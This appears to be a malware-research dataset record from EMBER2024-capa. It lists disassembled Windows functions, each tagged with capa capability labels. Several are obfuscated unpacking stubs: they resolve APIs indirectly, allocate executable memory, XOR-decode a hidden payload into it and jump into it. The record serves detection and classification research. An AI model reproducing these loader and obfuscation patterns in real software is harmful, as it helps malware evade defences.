joyce8/EMBER2024-capa huggingface dataset:
Function at 0x298076c0
Capabilities:
Write file on windows

Disassembly:
push 0x2c
mov eax, 0x29852b5e
call fcn.29802379
mov ebx, ecx
or edi, 0xffffffff
cmp dword [ebp + 8], edi
jne 0x298076dd
xor eax, eax
jmp 0x29807843
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
test eax, eax
je 0x29807711
mov eax, dword [ebx + 0x30]
mov ecx, ebx
mov edx, dword [ebx + 0x20]
mov esi, dword [eax]
add esi, dword [edx]
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
cmp eax, esi
jae 0x29807711
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov ecx, dword [ebp + 8]
mov byte [eax], cl
mov eax, ecx
jmp 0x29807843
cmp dword [ebx + 0x4c], 0
je 0x29807841
mov ecx, ebx
call fcn.29806d41
xor ecx, ecx
cmp dword [ebx + 0x38], ecx
jne 0x29807745
push dword [ebx + 0x4c]
mov ebx, dword [ebp + 8]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x29807841
mov eax, dword [ebp + 8]
push ecx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
lea ecx, [ebp - 0x28]
push 8
mov byte [ebp - 0x29], al
mov dword [ebp - 0x14], 0xf
call fcn.2980706a
and dword [ebp - 4], 0
mov esi, dword [ebp - 0x14]
cmp esi, 0x10
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
cmovae edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
add eax, edx
push eax
push ecx
mov ecx, dword [ebx + 0x38]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x29]
push eax
lea eax, [ebx + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x29807832
cmp eax, 1
jg 0x29807817
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
cmp esi, 0x10
mov edx, dword [ebp - 0x30]
cmovae eax, ecx
sub edx, eax
mov dword [ebp - 0x34], edx
je 0x298077e8
push dword [ebx + 0x4c]
cmp esi, 0x10
lea eax, [ebp - 0x28]
push edx
cmovae eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov edx, dword [ebp - 0x34]
add esp, 0x10
cmp edx, eax
jne 0x29807832
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x29]
mov byte [ebx + 0x3d], 1
cmp dword [ebp - 0x38], eax
jne 0x29807812
test edx, edx
jne 0x2980776a
cmp dword [ebp - 0x18], 0x20
jae 0x29807832
push edx
push 8
lea ecx, [ebp - 0x28]
call fcn.29806fa0
jmp 0x29807767
mov edi, dword [ebp + 8]
jmp 0x29807832
cmp eax, 3
jne 0x29807832
push dword [ebx + 0x4c]
movsx eax, byte [ebp - 0x29]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
pop ecx
cmovne edi, dword [ebp + 8]
pop ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 5
call fcn.2983f30e
mov eax, edi
call fcn.29802cf8
ret 4
Function at 0x2983f30e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x2983f31d
pop dword [ebp - 0x50]
mov eax, 0x1950c4f
sub eax, 0xd8111932
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xb70446fa
add dword [ebp - 0x60], 0x974dfe51
mov dword [ebp - 0x5c], 0x8f1571ae
sub dword [ebp - 0x5c], 0x5ce22569
mov dword [ebp - 0x58], 0x63c8f18a
add dword [ebp - 0x58], 0xe88352a4
mov dword [ebp - 0x54], 0x1b4b1041
sub dword [ebp - 0x54], 0x1b4b1041
lea eax, [ebp - 0x60]
push eax
mov eax, 0xe4b98f28
sub eax, 0xbb340e68
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x65a66622
sub dword [ebp - 0x60], 0xf133fccc
mov dword [ebp - 0x5c], 0xc8e073c7
add dword [ebp - 0x5c], 0x788bedae
mov dword [ebp - 0x58], 0x9bc6c6a2
add dword [ebp - 0x58], 0xc7a8a5ca
mov dword [ebp - 0x54], 0x96b14819
sub dword [ebp - 0x54], 0x96b14819
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xfbe884d
add eax, 0x19c6f86b
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x48023
push 0
call eax
mov ecx, 0xd520ed4e
add ecx, 0x2adf5bd9
xor ebx, ebx
add ebx, eax
mov edx, 0xf6b619af
sub edx, 0xcd2c93af
add edx, dword [ebp - 0x50]
mov edi, 0xac97c4c1
sub edi, 0x48bdc8e0
xor dword [ebp - 0x38], 0xd48a13d2
mov esi, dword [edx]
add dword [ebp - 0x4c], edi
xor esi, edi
add dword [ebp - 0x44], 0x3e4ac78
mov dword [ebx], esi
sub dword [ebp - 0x30], esi
add ebx, 4
add edx, 0xb6e7c7f1
add edx, 0x49183813
loop 0x2983f441
add eax, 0x5e0343c0
sub eax, 0x5e022c51
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x29800000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x403a74
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
mov eax, dword [0x44608c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
mov eax, 0x101
push 0
push eax
mov ecx, esi
mov dword [ebp - 0x390], eax
call fcn.004046c1
cmp dword [esi + 0x14], 8
jb 0x403aaa
mov eax, dword [esi]
jmp 0x403aac
mov eax, esi
lea ecx, [ebp - 0x390]
push ecx
push eax
push 2
call sub.Secur32.dll_GetUserNameExW
test al, al
je 0x403adf
push 0
push dword [ebp - 0x390]
mov ecx, esi
call fcn.004046c1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004065bb
mov esp, ebp
pop ebp
ret 4
push 0x4243c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x38c]
call fcn.004018f5
push 0x442bc0
lea eax, [ebp - 0x38c]
push eax
call fcn.004073d4
int3

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401d60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c5ca
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x42b070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x28], esi
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x2c], esi
call fcn.0040401b
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x401e20
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], 0x8b55d1e4
push ebp
mov ebp, esp

Function at 0x41252d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004123ac

Function at 0x416d1a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004169da
Function at 0x40324c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40325b
pop dword [ebp - 0x30]
mov eax, 0x78d5f2
sub eax, 0x38a397
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x148b75cc
add dword [ebp - 0x40], 0x39c6cf7f
mov dword [ebp - 0x3c], 0xcdb27e6e
sub dword [ebp - 0x3c], 0x9b7f3229
mov dword [ebp - 0x38], 0x5a92ac9f
add dword [ebp - 0x38], 0xf1b9978f
mov dword [ebp - 0x34], 0x1a2edf8f
add dword [ebp - 0x34], 0xe5d12071
lea eax, [ebp - 0x40]
push eax
mov eax, 0x552889cc
add eax, 0xab17f6ac
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xbf77d704
sub dword [ebp - 0x40], 0x4b056dae
mov dword [ebp - 0x3c], 0x3eef33ca
add dword [ebp - 0x3c], 0x27d2dab
mov dword [ebp - 0x38], 0xec6a46f8
sub dword [ebp - 0x38], 0x88fada8c
mov dword [ebp - 0x34], 0x70c684f6
sub dword [ebp - 0x34], 0x70c684f6
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xbcc12f51
sub eax, 0xbc80aed5
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x32adc
push 0
call eax
mov ecx, 0x2a962b7a
sub ecx, 0x2a95f4e3
mov edx, eax
mov esi, 0x69e60da7
sub esi, 0x69a0f9a7
add esi, dword [ebp - 0x30]
mov ebx, 0xb4dd6780
sub ebx, 0x643fde1e
add dword [ebp - 4], 0x12f26d3e
mov edi, dword [esi]
xor dword [ebp - 0x24], edx
sub edi, ebx
xor dword [ebp - 0x10], edi
mov dword [edx], edi
add dword [ebp - 0x28], 0x612ba377
add edx, 0x1a674f7e
sub edx, 0x1a674f7a
add esi, 4
loop 0x40337d
add eax, 0xcd2f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x319a292c
add ecx, 0xcea5d6d4
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x403e59
pop dword [ebp - 0x3c]
mov eax, 0xcf8ee491
sub eax, 0xcf4ea638
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x4d68e505
sub dword [ebp - 0x4c], 0xff169fba
mov dword [ebp - 0x48], 0xdce84bae
add dword [ebp - 0x48], 0x554b0097
mov dword [ebp - 0x44], 0xadc5bad9
sub dword [ebp - 0x44], 0x617976ab
mov dword [ebp - 0x40], 0x74998450
sub dword [ebp - 0x40], 0x74998450
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x6f043fd2
sub dword [ebp - 0x4c], 0xfa91d67c
mov dword [ebp - 0x48], 0x8f2de6c6
sub dword [ebp - 0x48], 0x4dc18551
mov dword [ebp - 0x44], 0x57c6e017
sub dword [ebp - 0x44], 0xf45773ab
mov dword [ebp - 0x40], 0xda36e555
sub dword [ebp - 0x40], 0xda36e555
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x8c5681f
add eax, 0xf77b0889
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c511
push 0
call eax
mov ecx, 0x274a7c8b
add ecx, 0xd8b5e1bc
xor esi, esi
add esi, eax
mov edi, 0xd245a0f9
sub edi, 0xd204a0f9
add edi, dword [ebp - 0x3c]
mov edx, 0xe0ba4395
add dword [ebp - 0x10], ecx
mov ebx, dword [edi]
sub dword [ebp - 0xc], ebx
add ebx, edx
xor dword [ebp - 0x30], 0xea567751
mov dword [esi], ebx
add esi, 0xd94df9b8
sub esi, 0xd94df9b4
add edi, 0x9f522eb0
add edi, 0x60add154
loop 0x403f72
add eax, 0xfd009e46
add eax, 0x300cda9
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x40ebcc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x40ebdb
pop dword [ebp - 4]
mov eax, 0xe842eef8
add eax, 0x17fdfce3
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x32d52
push 0
mov eax, 0x80024c2a
sub eax, 0x7fc14b12
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x38db
xor edx, edx
add edx, eax
mov ebx, 0xe7cbd1dc
add ebx, 0x18786424
add ebx, dword [ebp - 4]
mov esi, 0x184119fb
sub esi, 0xff04cd3e
mov edi, dword [ebx]
xor edi, esi
mov dword [edx], edi
add edx, 4
add ebx, 0x6600de0d
add ebx, 0x99ff21f7
loop 0x40ec36
add eax, 0xd1b7a5a4
sub eax, 0xd1b6cf65
mov ebx, eax
add eax, 0xf2bc24ac
sub eax, 0xf2bc24a7
mov ecx, 0x242d782f
add ecx, 0xdc1287d1
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x3407050e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x3407051d
pop dword [ebp - 0x3c]
mov eax, 0x3407051d
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xf093264c
sub dword [ebp - 0x4c], 0xa240e101
mov dword [ebp - 0x48], 0x79e572e8
add dword [ebp - 0x48], 0xb84dd95d
mov dword [ebp - 0x44], 0x30d04503
add dword [ebp - 0x44], 0x1b7bff2b
mov dword [ebp - 0x40], 0x5b37c3d9
sub dword [ebp - 0x40], 0x5b37c3d9
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xc57fe91
sub eax, 0xd854ecc9
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x70e37e4
add dword [ebp - 0x4c], 0x6d643172
mov dword [ebp - 0x48], 0x7e134be0
sub dword [ebp - 0x48], 0x3ca6ea6b
mov dword [ebp - 0x44], 0xceec003e
sub dword [ebp - 0x44], 0x6b7c93d2
mov dword [ebp - 0x40], 0xd9671445
add dword [ebp - 0x40], 0x2698ebbb
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x4a016
push 0
call eax
mov ecx, 0x64a5cbb4
add ecx, 0x9b5a8e80
mov edx, eax
mov esi, 0xbcb4405a
sub esi, 0x88aa885a
add esi, dword [ebp - 0x3c]
mov ebx, 0xf219d0aa
add dword [ebp - 8], ecx
mov edi, dword [esi]
xor dword [ebp - 0x14], 0xc699edde
xor edi, ebx
mov dword [ebp - 0x38], 0xdbd7526c
mov dword [edx], edi
xor dword [ebp - 0x34], eax
add edx, 4
add esi, 4
loop 0x3407062f
add eax, 0x15ba3
xor ebx, ebx
add ebx, eax
add eax, 0x65b77239
add eax, 0x9a488dcc
mov ecx, 0x47f39cae
sub ecx, 0x13f09cae
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x3407b622
Capabilities:
Set registry value

Disassembly:
call fcn.34044726
test eax, eax
jl 0x3407b630
jmp fcn.3407ad34
ret

Function at 0x3407f0f4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3403d054]
jne 0x3407fcb3
ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x34086a80], eax
mov dword [0x34086a7c], ecx
mov dword [0x34086a78], edx
mov dword [0x34086a74], ebx
mov dword [0x34086a70], esi
mov dword [0x34086a6c], edi
mov word [0x34086a98], ss
mov word [0x34086a8c], cs
mov word [0x34086a68], ds
mov word [0x34086a64], es
mov word [0x34086a60], fs
mov word [0x34086a5c], gs
pushfd
pop dword [0x34086a90]
mov eax, dword [ebp]
mov dword [0x34086a84], eax
mov eax, dword [ebp + 4]
mov dword [0x34086a88], eax
lea eax, [ebp + 8]
mov dword [0x34086a94], eax
mov eax, dword [ebp - 0x320]
mov dword [0x340869d0], 0x10001
mov eax, dword [0x34086a88]
mov dword [0x34086984], eax
mov dword [0x34086978], 0xc0000409
mov dword [0x3408697c], 1
mov eax, dword [0x3403d054]
mov dword [ebp - 0x328], eax
mov eax, dword [0x34086850]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x340869c8], eax
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x3403d3b4
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x340869c8], 0
jne 0x3407fda3
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x100090c3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x1001f5e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
call fcn.10009b2b
test eax, eax
je 0x100091ce
xor ebx, ebx
mov dword [ebp - 0x214], 0x104
push ebx
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.shlwapi.dll_PathCreateFromUrlW]
test eax, eax
js 0x100091ce
push ebx
push 0x80
push 3
push ebx
inc ebx
lea eax, [ebp - 0x20c]
push ebx
push SysReAllocStringLen
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100091ce
push 0
lea eax, [ebp - 0x218]
push eax
push 4
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.kernel32.dll_ReadFile]
push edi
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x100091ce
cmp dword [ebp - 0x218], 4
jne 0x100091ce
push 3
lea eax, [ebp - 0x210]
push 0x1001761c
push eax
call sub.VCRUNTIME140.dll_memcmp
add esp, 0xc
test eax, eax
je 0x100091a2
push 3
lea eax, [ebp - 0x210]
push 0x10017620
push eax
call sub.VCRUNTIME140.dll_memcmp
add esp, 0xc
test eax, eax
je 0x100091a2
mov al, bl
jmp 0x100091d0
mov ecx, dword [0x10020678]
call fcn.100092e1
movsx cx, byte [ebp - 0x20d]
mov edi, eax
mov esi, edx
movzx eax, cx
cdq
shl eax, 0x10
cmp esi, eax
jb 0x100091ca
ja 0x1000919e
test edi, edi
jae 0x1000919e
xor bl, bl
jmp 0x1000919e
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10013070
leave
ret 4

Function at 0x100092e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x100092f0
pop dword [ebp - 0x40]
mov eax, 0x100092f0
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3cae6
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x5147
xor edx, edx
add edx, eax
mov ebx, 0x10024400
add ebx, dword [ebp - 0x40]
mov esi, 0xb8095ce8
sub esi, 0x33b25890
sub dword [ebp - 0x18], ebx
mov edi, dword [ebx]
sub dword [ebp - 0x1c], 0x72590fd
xor edi, esi
mov dword [ebp - 0x38], 0xd40bbfd4
mov dword [edx], edi
sub dword [ebp - 8], 0x3e60ce3e
add edx, 4
add ebx, 4
loop 0x1000933b
add eax, 0x4ead70fe
sub eax, 0x4eac390f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xd645f957
add ecx, 0x39ba06a9
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x4011a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4011b5
pop dword [ebp - 8]
mov eax, 0x891c8b96
sub eax, 0x88dc79e1
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x77b8d925
sub dword [ebp - 0x18], 0x296693da
mov dword [ebp - 0x14], 0x7f69303
sub dword [ebp - 0x14], 0xd5c346be
mov dword [ebp - 0x10], 0xaaf09640
sub dword [ebp - 0x10], 0x5ea45212
mov dword [ebp - 0xc], 0x23f0e851
sub dword [ebp - 0xc], 0x23f0e851
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xc442aafe
add dword [ebp - 0x18], 0xb02fbe58
mov dword [ebp - 0x14], 0xa8e1219a
add dword [ebp - 0x14], 0x988b3fdb
mov dword [ebp - 0x10], 0xbf8a2e19
add dword [ebp - 0x10], 0xa3e53e53
mov dword [ebp - 0xc], 0x3edafd42
sub dword [ebp - 0xc], 0x3edafd42
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x17e9d8d2
sub eax, 0x17a90886
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3578b
push 0
call eax
mov ecx, 0xb826178a
add ecx, 0x47da202e
xor esi, esi
add esi, eax
mov edi, 0xba375d23
sub edi, 0xb9f5ad23
add edi, dword [ebp - 8]
mov edx, 0xc7540a8d
sub edx, 0xb00031ca
xor dword [ebp - 4], edx
mov ebx, dword [edi]
add dword [ebp - 4], ecx
sub ebx, edx
add dword [ebp - 4], ecx
mov dword [esi], ebx
xor dword [ebp - 4], edi
add esi, 0x204a78d5
add esi, 0xdfb5872f
add edi, 4
loop 0x4012d4
add eax, 0xd1b3
mov ebx, eax
add eax, 5
mov ecx, 0x7b9ad609
add ecx, 0x84a529f7
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x10005da0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10005e21
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10005df0
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret 4

Function at 0x10005e40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10005e87
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10005e64
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret 4

Function at 0x10005ea0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060bbd
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x1008b00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x1008b540], 0x10
mov eax, 0x1008b52c
cmovae eax, dword [0x1008b52c]
cmp byte [eax], 0
je 0x10005fba
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x10005fba
cmp dword [0x1008b1b0], 0x10
mov eax, 0x1008b19c
cmovae eax, dword [0x1008b19c]
cmp byte [eax], 0
je 0x10005fba
mov esi, 0x10091130
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x10005f16
mov edx, 0x1008d910
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10005f30
mov ecx, dword [0x100919c4]
mov edx, 0x1008b52c
cmp dword [0x1008b540], 0x10
push 0x10091130
cmovae edx, dword [0x1008b52c]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x10005fba
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x1007c7a8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x10005f8d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x10005f70
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x1008d154]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x1008d154]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4